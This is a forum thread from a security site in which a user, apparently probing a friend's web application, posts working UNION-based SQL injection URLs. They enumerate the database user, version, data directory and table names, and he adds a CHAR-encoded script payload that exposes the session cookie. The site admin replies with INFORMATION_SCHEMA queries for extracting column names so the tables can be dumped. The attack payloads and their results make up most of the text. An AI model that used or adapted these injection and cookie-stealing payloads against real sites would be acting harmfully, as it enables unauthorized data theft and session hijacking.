|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Hm I do not see where is the problem... |
|
Posted: Thu Sep 03, 2009 10:57 pm |
|
|
BoboTiG |
Advanced user |
|
|
Joined: Jun 22, 2009 |
Posts: 66 |
|
|
|
|
|
|
|
Hi all!
I was trying to test a friend's web application and I am blocked, do not know what to do...
So, what I retrieve:
Code: |
http://site.test/v2/post.php?poid=9+order+by+4--
-> error
-> 3 cols
http://site.test/v2/post.php?poid=9+union+all+select+1,2,3--
-> 2 is printed
-> UNION allowed
http://site.test/v2/post.php?poid=9+union+all+select+1,user(),3--
http://site.test/v2/post.php?poid=9+union+all+select+1,system_user(),3--
-> sitetest@1xx.2x.2xx.x2
http://site.test/v2/post.php?poid=9+union+all+select+1,@@version,3--
-> MySQL 5.0.83-log
http://site.test/v2/post.php?poid=9+union+all+select+1,@@max_allowed_packet,3--
-> 10485760
http://site.test/v2/post.php?poid=9+union+all+select+1,@@datadir,3--
-> /var/www/free.fr/
http://site.test/v2/post.php?poid=9+union+all+select+1,database(),3--
-> sitetest
http://site.test/v2/post.php?poid=9+union+all+select+1,2,3+from+personne--
-> 2 is printed
-> table 'personne' exists
Resume :
Existants tables (after brute force) :
agenda
categorie
equipe
fichier
messages
news
partenaire
personne
rencontre
salon
http://site.test/v2/post.php?poid=8+union+select+1,CHAR(60,115,99,114,105,112,116,32,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,62,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62),3--
-> PHPSESSID=45cdb505dc81287402e73e4e383bb5ff
|
Then, I tried to get columns names of 'personne' table.
I played with information_schema unsuccessful.
I look on several helpful sites, but each manipulation was wrong, how can I get columns names (after, I think, I will be able to extract data)?
Thank you in advance |
|
|
|
|
|
|
|
|
Posted: Fri Sep 04, 2009 10:15 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Mysql version is 5.x, so INFORMATION_SCHEMA should be available.
Try this:
Code: |
http://site.test/v2/post.php?poid=9+UNION+ALL+SELECT+1,COUNT(*),3+FROM+INFORMATION_SCHEMA.TABLES--+
|
Do you see tables count or sql error? |
|
|
|
|
|
|
|
|
Posted: Fri Sep 04, 2009 11:06 am |
|
|
BoboTiG |
Advanced user |
|
|
Joined: Jun 22, 2009 |
Posts: 66 |
|
|
|
|
|
|
|
Oh yes, I did this and forgot to tell you:
I can retrieve 17 tables, I have names and columns of all tables.
Code: |
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
|
But I do not see others tables I found nor their columns, just the number:
Code: | http://site.test/v2/post.php?poid=8+union+all+select+1,count(*),3+from+sitetest.personne-- |
Code: |
Table (columns):
agenda (6)
categorie (3)
equipe (20)
fichier (1206)
messages (3)
news (641)
partenaire (20)
personne (5)
rencontre (35)
salon (9)
|
Normal? |
|
|
|
|
|
|
|
|
Posted: Fri Sep 04, 2009 5:14 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
OK, how about something like this:
Code: |
SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='personne'--+
|
|
|
|
|
|
Posted: Sat Sep 05, 2009 1:33 pm |
|
|
BoboTiG |
Advanced user |
|
|
Joined: Jun 22, 2009 |
Posts: 66 |
|
|
|
|
|
|
|
Nothing, I tried:
Code: | personne
char(112,101,114,115,111,110,110,101)
0x706572736f6e6e65 |
I tried that too:
Code: | http://site.test/v2/post.php?poid=8+union+select+1,count(*),3+from+information_schema.columns+where+table_schema=database()-- |
And it returns 0. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|